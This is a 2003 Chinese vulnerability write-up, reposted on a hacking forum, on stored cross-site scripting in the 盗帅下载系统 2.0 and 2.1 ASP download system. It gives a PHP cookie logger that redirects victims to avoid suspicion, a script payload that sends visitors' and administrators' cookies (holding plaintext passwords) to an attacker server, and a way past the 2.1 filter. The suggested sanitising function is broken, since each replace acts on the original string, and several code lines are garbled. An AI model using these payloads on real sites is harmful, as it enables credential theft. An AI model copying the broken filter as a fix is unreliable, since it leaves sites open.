论坛: 黑客进阶 标题: 盗帅下载系统2.0正式版存在多个跨站漏洞 复制本贴地址    
作者: cck123 [cck123]    论坛用户   登录
本文作者: sniper
文章出处: 安全天使
发布日期: 2003-12-25

前言:
  盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范。

漏洞描述:
  先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?如图一:
http://www.4ngel.net/article/img/ds1.gif
 但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去.这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下:

<?php
$info = getenv("QUERY_STRING")''
if ($info) {
$fp = fopen("test.txt","a")''
fwrite($fp,$info."\n")''
fclose($fp)''
}
?>

<script language=vbscript>
document.location="http://www.ad.com/";
</script> 

  以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件.http://www.ad.com/是起转向功能的,具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化或自动关闭窗口来达到隐藏的目的。然后我们只要在网站介绍那里添加:

<script>window.open('http://192.168.1.1/cookie.PHP?&#39;+documents.cookie)''</script>

  这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息:
语法错误 (操作符丢失) 在查询表达式 ''script>window.open('http://192.168.1.1/cookie.PHP?&#39;+documents.cookie)''</script>'' 中,呵呵,开始我以为是'把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段:

~~~~~~~~~~省去一部分
conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& strLinTitle &"','"& strLinPic &"',False,'"& now() &"')")
~~~~~~~~~~~~~省去一部分


  由于使用了insert into所以我们递交语句的时候要记得把单引号'换成2个单引号'',把语句中的单引号替换,递交,成功。
这是我截取到的一部分代码:

The+Cool+Site=lao=15''%20nicedown=pws=1111&admin=1111''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15''%20nicedown=pws=1111&admin=1111''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15''%20nicedown=pws=admin&admin=admin''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15''%20nicedown=pws=admin&admin=admin''%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC


  看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名.
  再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢?如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。

  本来文章到这里也应该结束了,我也马上告诉了帝国入侵者漏洞的一些情况,大概是2个星期后他也发布了声称修补了以前所有漏洞的盗帅2.1版。正巧,我把这篇文章发给安全天使的angel看后,angel也去看了看所谓的2.1版,发现他们写的补丁程序中过滤并不十分严格(我还以为作者经过我又是举例又是推荐好文章给他看之后,终于明白该怎么做了哦,汗~~~~)提醒我再去试试,果然2.1版中我们仍然可以跨站来得到用户密码。感谢angel的指导~

  我们看代码,2.0的是这样写的:

if Request.Form("strLinTitle")<>"" then
strLinTitle=Request.Form("strLinTitle")
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if


  2.1是这样写的:

if Request.Form("strLinTitle")<>"" then
if instr(Request.Form("strLinTitle"),".cookies")>0 then
MsgErrLink=MsgErrLink&"<li>请勿输入非法字符"
else
strLinTitle=Request.Form("strLinTitle")
end if
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if


  再看看

conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& replace(strLinTitle,".cookies","") &"','"& strLinPic &"',False,'"& now() &"')")


  看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句,而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。

  程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入一下代码:

<script>window.open(''http://localhost/cookie.PHP?&#39;'+documents.cookie)''</script>


  点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了,当管理员进入友情连接的管理页面的时候,COOKIE即被我们获得,如图二:
http://www.4ngel.net/article/img/ds2.gif
解决方法:
  angel提供了这样的一段代码来过滤特殊字符,可以根据实际情况添加需要过滤的字符:

function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","")
checkStr=replace(str,"''","")
checkStr=replace(str,"--","")
checkStr=replace(str,"<","<")
checkStr=replace(str,">",">")
checkStr=replace(str," "," ")
checkStr=replace(str,"javascript","/javascript")
checkStr=replace(str,"cookie","/cookie")
checkStr=replace(str,"document","/document")
end function


  这样才可以比较稳妥的避免类似攻击,这套程序的问题频繁出现和作者的安全意识是分不开的,所以希望一些ASP程序员在编写程序的时候能够注意一些这样的安全问题,来提高程序的安全性。




地主 发表时间: 03-12-29 11:23

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号